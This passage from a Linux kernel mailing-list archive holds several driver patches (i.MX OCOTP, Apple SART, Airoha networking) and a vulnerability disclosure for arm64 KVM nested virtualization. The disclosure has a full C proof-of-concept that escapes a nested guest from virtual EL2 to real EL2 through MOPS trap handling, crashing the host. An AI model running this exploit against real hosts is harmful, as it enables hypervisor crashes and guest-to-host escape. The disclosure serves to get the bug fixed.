+ mbox-names = "tx", "rx";
+ mboxes = <&s4muap 0 0>, <&s4muap 1 0>;
+ memory-region = <&ele_memory>;
+ };
+ };
+
reg_usdhc2_vcc: regulator-usdhc2-vcc {
compatible = "regulator-fixed";
pinctrl-names = "default";
@@ -57,6 +66,19 @@ regulator-state-disk {
regulator-off-in-suspend;
};
};
+
+ reserved-memory {
+ #address-cells = <2>;
+ #size-cells = <2>;
+ ranges;
+
+ ele_memory: ele-memory {
+ compatible = "shared-dma-pool";
+ alloc-ranges = <0 0x80000000 0 0x40000000>;
+ size = <0 0x100000>;
+ no-map;
+ };
+ };
};
&flexcan1 { /* OSM-S CAN_A */
@@ -253,6 +275,10 @@ &lpuart7 { /* OSM-S UART_A */
pinctrl-0 = <&pinctrl_lpuart7>;
};
+&ocotp {
+ secure-enclave = <&hsm0>;
+};
+
&tpm3 { /* OSM-S PWM_0 */
pinctrl-names = "default";
pinctrl-0 = <&pinctrl_tpm3>;
--
2.54.0
^ permalink raw reply related
* [PATCH 7/9] nvmem: imx-ocotp-ele: Remove the FUSE_ELE type
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
There is no use in tracking the fuses that are only accessible via
ELE API and the current lists are incomplete. If the ELE API is
available it will be used as primary access method anyway, otherwise
the fuses not listed as accessible through the FSB can be considered
invalid.
No functional changes intended.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/nvmem/imx-ocotp-ele.c | 19 +++++--------------
1 file changed, 5 insertions(+), 14 deletions(-)
diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index 92cc061b9b34..3d6fad149ed5 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -18,8 +18,7 @@
enum fuse_type {
FUSE_FSB = BIT(0),
- FUSE_ELE = BIT(1),
- FUSE_ECC = BIT(2),
+ FUSE_ECC = BIT(1),
FUSE_INVALID = -1
};
@@ -111,7 +110,7 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
}
type = imx_ocotp_fuse_type(context, i);
- if (type == FUSE_INVALID || type == FUSE_ELE) {
+ if (type == FUSE_INVALID) {
*buf++ = 0;
continue;
}
@@ -264,13 +263,9 @@ static const struct nvmem_keepout imx93_ocotp_keepout[] = {
static const struct ocotp_devtype_data imx93_ocotp_data = {
.reg_off = 0x8000,
.size = 2048,
- .num_entry = 6,
+ .num_entry = 2,
.entry = {
{ 0, 52, FUSE_FSB },
- { 63, 1, FUSE_ELE},
- { 128, 16, FUSE_ELE },
- { 182, 1, FUSE_ELE },
- { 188, 1, FUSE_ELE },
{ 312, 200, FUSE_FSB }
},
.keepout = imx93_ocotp_keepout,
@@ -280,7 +275,7 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
static const struct ocotp_devtype_data imx94_ocotp_data = {
.reg_off = 0x8000,
.size = 3296, /* 103 Banks */
- .num_entry = 10,
+ .num_entry = 9,
.entry = {
{ 0, 1, FUSE_FSB | FUSE_ECC },
{ 7, 1, FUSE_FSB | FUSE_ECC },
@@ -288,7 +283,6 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
{ 12, 24, FUSE_FSB },
{ 36, 2, FUSE_FSB | FUSE_ECC },
{ 38, 14, FUSE_FSB },
- { 59, 1, FUSE_ELE },
{ 525, 2, FUSE_FSB | FUSE_ECC },
{ 528, 7, FUSE_FSB },
{ 536, 280, FUSE_FSB },
@@ -298,7 +292,7 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
static const struct ocotp_devtype_data imx95_ocotp_data = {
.reg_off = 0x8000,
.size = 2048,
- .num_entry = 12,
+ .num_entry = 9,
.entry = {
{ 0, 1, FUSE_FSB | FUSE_ECC },
{ 7, 1, FUSE_FSB | FUSE_ECC },
@@ -306,9 +300,6 @@ static const struct ocotp_devtype_data imx95_ocotp_data = {
{ 12, 24, FUSE_FSB },
{ 36, 2, FUSE_FSB | FUSE_ECC },
{ 38, 14, FUSE_FSB },
- { 63, 1, FUSE_ELE },
- { 128, 16, FUSE_ELE },
- { 188, 1, FUSE_ELE },
{ 317, 2, FUSE_FSB | FUSE_ECC },
{ 320, 7, FUSE_FSB },
{ 328, 184, FUSE_FSB }
--
2.54.0
^ permalink raw reply related
* [PATCH 5/9] nvmem: imx-ocotp-ele: Remove device-specific reg_read()
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
We only have a single implementation of the read hook. There is no
need to store it in the device data.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/nvmem/imx-ocotp-ele.c | 6 +-----
1 file changed, 1 insertion(+), 5 deletions(-)
diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index dadec19ca252..9d3f94e35508 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -33,7 +33,6 @@ struct ocotp_devtype_data {
u32 size;
u32 num_entry;
u32 flag;
- nvmem_reg_read_t reg_read;
const struct nvmem_keepout *keepout;
unsigned int nkeepout;
struct ocotp_map_entry entry[];
@@ -158,7 +157,7 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
priv->config.id = NVMEM_DEVID_AUTO;
priv->config.owner = THIS_MODULE;
priv->config.size = priv->data->size;
- priv->config.reg_read = priv->data->reg_read;
+ priv->config.reg_read = imx_ocotp_reg_read;
priv->config.word_size = 1;
priv->config.stride = 1;
priv->config.priv = priv;
@@ -190,7 +189,6 @@ static const struct nvmem_keepout imx93_ocotp_keepout[] = {
static const struct ocotp_devtype_data imx93_ocotp_data = {
.reg_off = 0x8000,
- .reg_read = imx_ocotp_reg_read,
.size = 2048,
.num_entry = 6,
.entry = {
@@ -207,7 +205,6 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
static const struct ocotp_devtype_data imx94_ocotp_data = {
.reg_off = 0x8000,
- .reg_read = imx_ocotp_reg_read,
.size = 3296, /* 103 Banks */
.num_entry = 10,
.entry = {
@@ -226,7 +223,6 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
static const struct ocotp_devtype_data imx95_ocotp_data = {
.reg_off = 0x8000,
- .reg_read = imx_ocotp_reg_read,
.size = 2048,
.num_entry = 12,
.entry = {
--
2.54.0
^ permalink raw reply related
* Re: [PATCH] soc: apple: sart: require device link for consumers
From: Joshua Peisach @ 2026-06-16 11:58 UTC (permalink / raw)
To: Pengpeng Hou, Sven Peter, Janne Grunau, Neal Gompa, asahi,
linux-arm-kernel, linux-kernel
In-Reply-To: <20260616005346.7862-1-pengpeng@iscas.ac.cn>
On Mon Jun 15, 2026 at 8:53 PM EDT, Pengpeng Hou wrote:
> devm_apple_sart_get() obtains the supplier platform device and attempts
> to create a runtime-PM device link to it, but it ignores device_link_add()
> failure. A consumer can then continue without the dependency that keeps
> the SART supplier ordered and runtime-PM reachable.
>
> Treat a failed device link as an error and drop the supplier device
> reference before returning.
>
> Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
> ---
> drivers/soc/apple/sart.c | 9 +++++++--
> 1 file changed, 7 insertions(+), 2 deletions(-)
>
> diff --git a/drivers/soc/apple/sart.c b/drivers/soc/apple/sart.c
> index 9eaf3febb382..66b99955b395 100644
> --- a/drivers/soc/apple/sart.c
> +++ b/drivers/soc/apple/sart.c
> @@ -218,6 +218,7 @@ struct apple_sart *devm_apple_sart_get(struct device *dev)
> {
> struct device_node *sart_node;
> struct platform_device *sart_pdev;
> + struct device_link *link;
> struct apple_sart *sart;
>
> sart_node = of_parse_phandle(dev->of_node, "apple,sart", 0);
> @@ -236,8 +237,12 @@ struct apple_sart *devm_apple_sart_get(struct device *dev)
> return ERR_PTR(-EPROBE_DEFER);
> }
>
> - device_link_add(dev, &sart_pdev->dev,
> - DL_FLAG_PM_RUNTIME | DL_FLAG_AUTOREMOVE_SUPPLIER);
> + link = device_link_add(dev, &sart_pdev->dev,
> + DL_FLAG_PM_RUNTIME | DL_FLAG_AUTOREMOVE_SUPPLIER);
> + if (!link) {
> + put_device(&sart_pdev->dev);
> + return ERR_PTR(-ENODEV);
> + }
>
> put_device(&sart_pdev->dev);
>
I *think* this is okay...
Reviewed-by: Joshua Peisach <jpeisach@ubuntu.com>
^ permalink raw reply
* [PATCH v2] [net] net: airoha: fix foe_check_time allocation size
From: Wayen Yan @ 2026-06-16 11:52 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
foe_check_time is declared as u16 pointer but was allocated with
only ppe_num_entries bytes instead of ppe_num_entries * sizeof(u16).
When airoha_ppe_foe_verify_entry() is called with hash >= ppe_num_entries/2,
it writes beyond the allocated buffer, causing heap buffer overflow and
potential kernel crash.
Fixes: 6d5b601d52a2 ("net: airoha: ppe: Dynamically allocate foe_check_time array in airoha_ppe struct")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_ppe.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_ppe.c b/drivers/net/ethernet/airoha/airoha_ppe.c
index 5c9dff6bcc..8fb8ecf909 100644
--- a/drivers/net/ethernet/airoha/airoha_ppe.c
+++ b/drivers/net/ethernet/airoha/airoha_ppe.c
@@ -1578,7 +1578,8 @@ int airoha_ppe_init(struct airoha_eth *eth)
return -ENOMEM;
}
- ppe->foe_check_time = devm_kzalloc(eth->dev, ppe_num_entries,
+ ppe->foe_check_time = devm_kzalloc(eth->dev,
+ ppe_num_entries * sizeof(*ppe->foe_check_time),
GFP_KERNEL);
if (!ppe->foe_check_time)
return -ENOMEM;
--
2.51.0
^ permalink raw reply related
* [PATCH v2] [net] net: airoha: Fix QoS counter configuration for Tx-fwd channels
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In airoha_qdma_init_qos_stats(), the Tx-fwd counter was incorrectly
using register index (i << 1) instead of ((i << 1) + 1). This caused
the Tx-fwd configuration to overwrite the Tx-cpu configuration for
each QoS channel, resulting in incorrect QoS statistics.
Fix by using the correct register index ((i << 1) + 1) for Tx-fwd
counter configuration.
Fixes: 20bf7d07c956 ("net: airoha: Add sched ETS offload support")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..329988a840 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1256,7 +1256,7 @@ static void airoha_qdma_init_qos_stats(struct airoha_qdma *qdma)
FIELD_PREP(CNTR_CHAN_MASK, i));
/* Tx-fwd transferred count */
airoha_qdma_wr(qdma, REG_CNTR_VAL((i << 1) + 1), 0);
- airoha_qdma_wr(qdma, REG_CNTR_CFG(i << 1),
+ airoha_qdma_wr(qdma, REG_CNTR_CFG((i << 1) + 1),
CNTR_EN_MASK | CNTR_ALL_QUEUE_EN_MASK |
CNTR_ALL_DSCP_RING_EN_MASK |
FIELD_PREP(CNTR_SRC_MASK, 1) |
--
2.51.0
^ permalink raw reply related
* Re: [PATCH] KVM: arm64: nv: Translate vEL2 PSTATE to EL1 in kvm_hyp_handle_mops()
From: Weiming Shi @ 2026-06-16 12:03 UTC (permalink / raw)
To: Marc Zyngier, Oliver Upton, Catalin Marinas, Will Deacon
Cc: Joey Gouly, Steffen Eiden, Suzuki K Poulose, Zenghui Yu,
Andrew Morton, Jakub Kicinski, Bjorn Andersson, Mark Rutland,
Kristina Martsenko, linux-arm-kernel, kvmarm, Zhong Wang,
Xuanqing Shi
In-Reply-To: <20260616114943.81188-2-bestswngs@gmail.com>
Reproduction Steps:
1. prepare arm64 kernel image
```
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig
./scripts/config -e VIRTUALIZATION -e KVM
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- olddefconfig
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) Image
make ARCH=arm64 headers_install INSTALL_HDR_PATH=/tmp/khdr
```
2. prepare qemu + initramfs
3. boot qemu with the kernel iamge
```
qemu-system-aarch64 \
-machine virt,virtualization=on,gic-version=3 -cpu max -accel tcg \
-smp 2 -m 2G -kernel arch/arm64/boot/Image -initrd initramfs.cpio.gz \
-append "console=ttyAMA0 kvm-arm.mode=nested rdinit=/init panic=-1 oops=panic" \
-nographic -no-reboot
```
PoC:
```
/*
* PoC: kvm_hyp_handle_mops SPSR_EL2 privilege escalation (EL1 -> EL2)
*
* Demonstrates that kvm_hyp_handle_mops writes un-translated PSR_MODE_EL2h
* into hardware SPSR_EL2 on the fast-reentry path, allowing a nested guest
* to escape to real EL2 after an EC_MOPS trap.
*
* Build: aarch64-linux-gnu-gcc -static -O0 -o poc_mops poc_mops_clean.c
* Run: sudo ./poc_mops
*
* Expected result on vulnerable kernel: HYP panic with PS:00000009 (EL2h)
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <linux/kvm.h>
#define KVM_ARM_VCPU_HAS_EL2 7
#define PSR_MODE_EL1h 0x00000005
#define PSR_MODE_EL2h 0x00000009
#define ARM64_CORE_REG(u32_off) (0x6030000000100000ULL | (uint64_t)(u32_off))
#define REG_X(n) ARM64_CORE_REG((n) * 2)
#define REG_SP ARM64_CORE_REG(62)
#define REG_PC ARM64_CORE_REG(64)
#define REG_PSTATE ARM64_CORE_REG(66)
#define GUEST_MEM_SIZE (64 * 1024 * 1024)
#define GUEST_CODE_ADDR 0x40000000ULL
#define GUEST_STACK_TOP (GUEST_CODE_ADDR + GUEST_MEM_SIZE - 0x1000)
#define MMIO_ADDR 0x10000000ULL
static int kvm_set_one_reg(int fd, uint64_t id, uint64_t val)
{
struct kvm_one_reg r = { .id = id, .addr = (uint64_t)&val };
return ioctl(fd, KVM_SET_ONE_REG, &r);
}
static int kvm_get_one_reg(int fd, uint64_t id, uint64_t *val)
{
struct kvm_one_reg r = { .id = id, .addr = (uint64_t)val };
return ioctl(fd, KVM_GET_ONE_REG, &r);
}
static void die(const char *msg) { perror(msg); exit(1); }
/*
* Guest code (runs at virtual EL2h).
*
* Triggers EC_MOPS by executing CPYP (prologue, large size so it doesn't
* complete in prologue phase) followed immediately by CPYE (epilogue).
* The CPU detects PSTATE.MOPS_STATE mismatch and traps.
*
* kvm_hyp_handle_mops resets PC -= 8 (for epilogue) and writes vcpu_cpsr
* (which contains EL2h after fixup_guest_exit reverse translation) directly
* to HW SPSR_EL2 without forward translation. On eret, the CPU enters
* real EL2h at the guest PC, causing an instruction abort (no EL2 mapping
* for guest addresses) -> HYP panic.
*
* Layout (offsets from GUEST_CODE_ADDR):
* +0x00 setup x0,x1,x2,x3
* +0x10 movz x9, #0
* +0x14 mrs x10, CurrentEL ; record EL before
* +0x18 str x10, [x3] ; MMIO exit #1
* +0x1C b +16 ; jump to cpyp at +0x2C
* +0x20 nop
* +0x24 nop
* +0x28 mrs x11, CurrentEL ; <-- RESET LANDS HERE (0x30-8)
* +0x2C cpyp [x0]!, [x1]!, x2!
* +0x30 cpye [x0]!, [x1]!, x2! ; EC_MOPS trap
* +0x34 str x11, [x3] ; MMIO exit #2 (after 2nd pass)
* +0x38 b . ; done
*/
static const uint32_t guest_code[] = {
0xd2a80200, /* +0x00 movz x0, #0x4010, lsl #16 (dest = 0x40100000) */
0xd2a80401, /* +0x04 movz x1, #0x4020, lsl #16 (src = 0x40200000) */
0xd2a00202, /* +0x08 movz x2, #0x10, lsl #16 (size = 1MB) */
0xd2a20003, /* +0x0C movz x3, #0x1000, lsl #16 (MMIO = 0x10000000) */
0xd2800009, /* +0x10 movz x9, #0 */
0xd538424a, /* +0x14 mrs x10, CurrentEL */
0xf900006a, /* +0x18 str x10, [x3] */
0x14000004, /* +0x1C b +16 -> +0x2C */
0xd503201f, /* +0x20 nop */
0xd503201f, /* +0x24 nop */
0xd538424b, /* +0x28 mrs x11, CurrentEL (AFTER eret) */
0x1d010440, /* +0x2C cpyp [x0]!, [x1]!, x2! */
0x1d810440, /* +0x30 cpye [x0]!, [x1]!, x2! -> EC_MOPS */
0xf900006b, /* +0x34 str x11, [x3] */
0x14000000, /* +0x38 b . */
};
int main(void)
{
int kvm_fd, vm_fd, vcpu_fd, ret;
struct kvm_vcpu_init vcpu_init = {};
struct kvm_run *run;
void *guest_mem;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("[*] kvm_hyp_handle_mops SPSR privilege escalation PoC\n");
printf("[*] Target: Linux kernel with CONFIG_KVM_ARM_NV + FEAT_MOPS\n\n");
kvm_fd = open("/dev/kvm", O_RDWR);
if (kvm_fd < 0) die("open /dev/kvm");
vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
if (vm_fd < 0) die("KVM_CREATE_VM");
/* Guest memory */
guest_mem = mmap(NULL, GUEST_MEM_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (guest_mem == MAP_FAILED) die("mmap");
struct kvm_userspace_memory_region region = {
.slot = 0,
.guest_phys_addr = GUEST_CODE_ADDR,
.memory_size = GUEST_MEM_SIZE,
.userspace_addr = (uint64_t)guest_mem,
};
if (ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, ®ion) < 0)
die("KVM_SET_USER_MEMORY_REGION");
memcpy(guest_mem, guest_code, sizeof(guest_code));
/* Create vCPU with nested virtualization */
vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
if (vcpu_fd < 0) die("KVM_CREATE_VCPU");
if (ioctl(vm_fd, KVM_ARM_PREFERRED_TARGET, &vcpu_init) < 0)
die("KVM_ARM_PREFERRED_TARGET");
vcpu_init.features[0] |= (1 << KVM_ARM_VCPU_HAS_EL2);
if (ioctl(vcpu_fd, KVM_ARM_VCPU_INIT, &vcpu_init) < 0) {
perror("KVM_ARM_VCPU_INIT with HAS_EL2");
printf("[-] Nested virtualization not supported.\n");
return 1;
}
printf("[+] vCPU created with nested virt (NV)\n");
/* GICv3 (required before KVM_RUN) */
{
struct kvm_create_device gic_dev = { .type = KVM_DEV_TYPE_ARM_VGIC_V3 };
if (ioctl(vm_fd, KVM_CREATE_DEVICE, &gic_dev) < 0)
die("KVM_CREATE_DEVICE GICv3");
uint64_t dist = 0x08000000ULL, redist = 0x080A0000ULL;
struct kvm_device_attr attr = {
.group = KVM_DEV_ARM_VGIC_GRP_ADDR,
.attr = KVM_VGIC_V3_ADDR_TYPE_DIST,
.addr = (uint64_t)&dist,
};
ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
attr.attr = KVM_VGIC_V3_ADDR_TYPE_REDIST;
attr.addr = (uint64_t)&redist;
ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
attr = (struct kvm_device_attr){
.group = KVM_DEV_ARM_VGIC_GRP_CTRL,
.attr = KVM_DEV_ARM_VGIC_CTRL_INIT,
};
ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
printf("[+] GICv3 initialized\n");
}
/* Set vCPU state: start at virtual EL2h */
kvm_set_one_reg(vcpu_fd, REG_PC, GUEST_CODE_ADDR);
kvm_set_one_reg(vcpu_fd, REG_SP, GUEST_STACK_TOP);
if (kvm_set_one_reg(vcpu_fd, REG_PSTATE, PSR_MODE_EL2h) < 0) {
printf("[!] Cannot set EL2h, falling back to EL1h\n");
kvm_set_one_reg(vcpu_fd, REG_PSTATE, PSR_MODE_EL1h);
}
printf("[+] vCPU: PC=0x%llx PSTATE=EL2h SP=0x%llx\n",
(unsigned long long)GUEST_CODE_ADDR,
(unsigned long long)GUEST_STACK_TOP);
/* Map kvm_run */
int run_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
run = mmap(NULL, run_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpu_fd, 0);
if (run == MAP_FAILED) die("mmap vcpu");
/* Execute guest */
printf("\n[*] Running guest. If kernel panics -> vulnerability confirmed.\n\n");
int mmio_count = 0;
uint64_t el_before = 0, el_after = 0;
for (int i = 0; i < 100; i++) {
ret = ioctl(vcpu_fd, KVM_RUN, 0);
if (ret < 0) {
printf("[-] KVM_RUN failed: %s (errno=%d)\n", strerror(errno), errno);
break;
}
switch (run->exit_reason) {
case KVM_EXIT_MMIO:
if (run->mmio.is_write && run->mmio.phys_addr == MMIO_ADDR) {
uint64_t val = 0;
memcpy(&val, run->mmio.data, run->mmio.len);
mmio_count++;
printf("[+] MMIO #%d: CurrentEL = 0x%llx (EL%lld)\n",
mmio_count, (unsigned long long)val, (long long)(val >> 2) & 3);
if (mmio_count == 1) el_before = (val >> 2) & 3;
if (mmio_count == 2) { el_after = (val >> 2) & 3; goto results; }
}
break;
case KVM_EXIT_INTERNAL_ERROR:
printf("[!] INTERNAL_ERROR: safety assert may have caught EL2h SPSR\n");
goto done;
case KVM_EXIT_FAIL_ENTRY:
printf("[-] FAIL_ENTRY: 0x%llx\n",
(unsigned long long)run->fail_entry.hardware_entry_failure_reason);
goto done;
default:
printf("[*] exit_reason=%d (iter %d)\n", run->exit_reason, i);
break;
}
}
printf("[-] Max iterations reached without result.\n");
goto done;
results:
printf("\n========== RESULTS ==========\n");
printf(" EL before MOPS: EL%lld\n", (long long)el_before);
printf(" EL after MOPS: EL%lld\n", (long long)el_after);
printf("=============================\n\n");
if (el_after > el_before)
printf("[!!!] PRIVILEGE ESCALATION: EL%lld -> EL%lld\n",
(long long)el_before, (long long)el_after);
else
printf("[+] No escalation observed in guest registers.\n");
done:
printf("\n[*] Check dmesg for HYP panic:\n");
printf(" dmesg | grep -i 'hyp panic\\|PS:.*0009'\n");
printf("[*] If PS:00000009 appears -> SPSR contained EL2h -> vuln confirmed.\n");
close(vcpu_fd);
close(vm_fd);
close(kvm_fd);
munmap(guest_mem, GUEST_MEM_SIZE);
munmap(run, run_size);
return 0;
}
```
crash log
```
========== FatalMOPS dynamic test (L1 host) ==========
[*] CPU ID registers (FEAT_MOPS bits[19:16] of isar2; FEAT_NV bits[27:24] of mmfr2):
/sys/devices/system/cpu/cpu0/regs/identification/id_aa64isar2_el1: (absent)
/sys/devices/system/cpu/cpu0/regs/identification/id_aa64mmfr2_el1: (absent)
[+] /dev/kvm present
[*] dmesg nested-virt lines:
[*] launching /poc ...
[*] FatalMOPS PoC: kvm_hyp_handle_mops vEL2->EL2 escape
[+] vCPU created with nested virt (HAS_EL2)
[+] GICv3 initialized
[+] vCPU starts at virtual EL2h
[*] Running guest. Vulnerable kernel -> HYP panic expected.
[+] MMIO #1: CurrentEL=EL2
[ 3.326956] Kernel panic - not syncing: HYP panic:
[ 3.326956] PS:00000009 PC:0000000040000028 ESR:86000005
[ 3.326956] FAR:0000000040000028 HPFAR:0000000000402000 PAR:1de7ec7edbadc0de
[ 3.326956] VCPU:000000006f4e5727
[ 3.342728] CPU: 0 UID: 0 PID: 59 Comm: poc Not tainted 7.1.0-rc7-00217-gfbc6a80cb5d3 #1 PREEMPT
[ 3.349460] Hardware name: linux,dummy-virt (DT)
[ 3.353136] Call trace:
[ 3.355241] show_stack+0x18/0x24 (C)
[ 3.358652] dump_stack_lvl+0x34/0x8c
[ 3.361515] dump_stack+0x18/0x24
[ 3.364085] vpanic+0x47c/0x4dc
[ 3.366527] do_panic_on_target_cpu+0x0/0x1c
[ 3.369782] kvm_unexpected_el2_exception+0x0/0x3c0
[ 3.373494] hyp_panic+0x0/0x80
[ 3.375940] kvm_arm_vcpu_enter_exit+0x64/0x94
[ 3.379372] kvm_arch_vcpu_ioctl_run+0x27c/0x8f8
[ 3.382919] kvm_vcpu_ioctl+0x174/0xa38
[ 3.385894] __arm64_sys_ioctl+0xac/0x104
[ 3.389105] invoke_syscall+0x54/0x10c
[ 3.392015] el0_svc_common.constprop.0+0x40/0xe0
[ 3.395653] do_el0_svc+0x1c/0x28
[ 3.398236] el0_svc+0x38/0x11c
[ 3.400681] el0t_64_sync_handler+0xa0/0xe4
[ 3.403872] el0t_64_sync+0x198/0x19c
[ 3.407083] SMP: stopping secondary CPUs
[ 3.410661] Kernel Offset: 0x127592c00000 from 0xffff800080000000
[ 3.415585] PHYS_OFFSET: 0x40000000
[ 3.418668] CPU features: 0x00000000,0034e00b,ffeec7e1,9d7e7f3f
[ 3.423170] Memory Limit: none
```
after decode
```
Kernel panic - not syncing: HYP panic:
PS:00000009 PC:0000000040000028 ESR:86000005
FAR:0000000040000028 HPFAR:0000000000402000 PAR:1de7ec7edbadc0de
VCPU:000000006f4e5727
CPU: 0 UID: 0 PID: 59 Comm: poc Not tainted 7.1.0-rc7-00217-gfbc6a80cb5d3 #1 PREEMPT
Call trace:
show_stack (arch/arm64/kernel/stacktrace.c:499)
dump_stack_lvl (lib/dump_stack.c:94 120)
dump_stack (lib/dump_stack.c:129)
vpanic (kernel/panic.c:650)
do_panic_on_target_cpu (kernel/panic.c:341)
kvm_unexpected_el2_exception (arch/arm64/kvm/hyp/include/hyp/switch.h:964
→ arch/arm64/kvm/hyp/vhe/switch.c:688)
hyp_panic (arch/arm64/kvm/hyp/vhe/switch.c:678)
kvm_arm_vcpu_enter_exit (arch/arm64/kvm/arm.c:1227)
kvm_arch_vcpu_ioctl_run (arch/arm64/kvm/arm.c:1324)
kvm_vcpu_ioctl (virt/kvm/kvm_main.c:4470)
__arm64_sys_ioctl (fs/ioctl.c:51 597 583)
invoke_syscall (arch/arm64/kernel/syscall.c:35 49)
el0_svc_common.constprop.0 (arch/arm64/kernel/syscall.c:121)
do_el0_svc (arch/arm64/kernel/syscall.c:140)
el0_svc (arch/arm64/kernel/entry-common.c:740)
el0t_64_sync_handler (arch/arm64/kernel/entry-common.c:759)
el0t_64_sync (arch/arm64/kernel/entry.S:594)
```
^ permalink raw reply
* [PATCH v2] [net] net: airoha: Stop TX queues on error path in airoha_dev_open
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In airoha_dev_open(), if airoha_set_vip_for_gdm_port() fails after
netif_tx_start_all_queues() has been called, the TX queues remain
started while the device configuration is incomplete. This leaves
the device in an inconsistent state where packets could be
transmitted before the VIP/IFC port configuration is complete.
Add netif_tx_stop_all_queues() call on the error path to properly
roll back the TX queue state.
Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..cf9c366907 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1715,8 +1715,10 @@ static int airoha_dev_open(struct net_device *dev)
netif_tx_start_all_queues(dev);
err = airoha_set_vip_for_gdm_port(port, true);
- if (err)
+ if (err) {
+ netif_tx_stop_all_queues(dev);
return err;
+ }
if (netdev_uses_dsa(dev))
airoha_fe_set(qdma->eth, REG_GDM_INGRESS_CFG(port->id),
--
2.51.0
^ permalink raw reply related
* [PATCH v2] [net] net: airoha: Clean up RX queues in airoha_dev_stop
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
When the last port is stopped, airoha_dev_stop() clears TX queues
but neglects to clean up RX queues. This can lead to:
- RX ring buffer descriptors remaining valid after device close
- Potential DMA synchronization issues on device reopen
- Risk of use-after-free if pages are freed while DMA is still active
Add cleanup loop for RX queues to mirror the TX queue cleanup,
ensuring symmetric resource management.
Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..9ca5bbf64d 100644
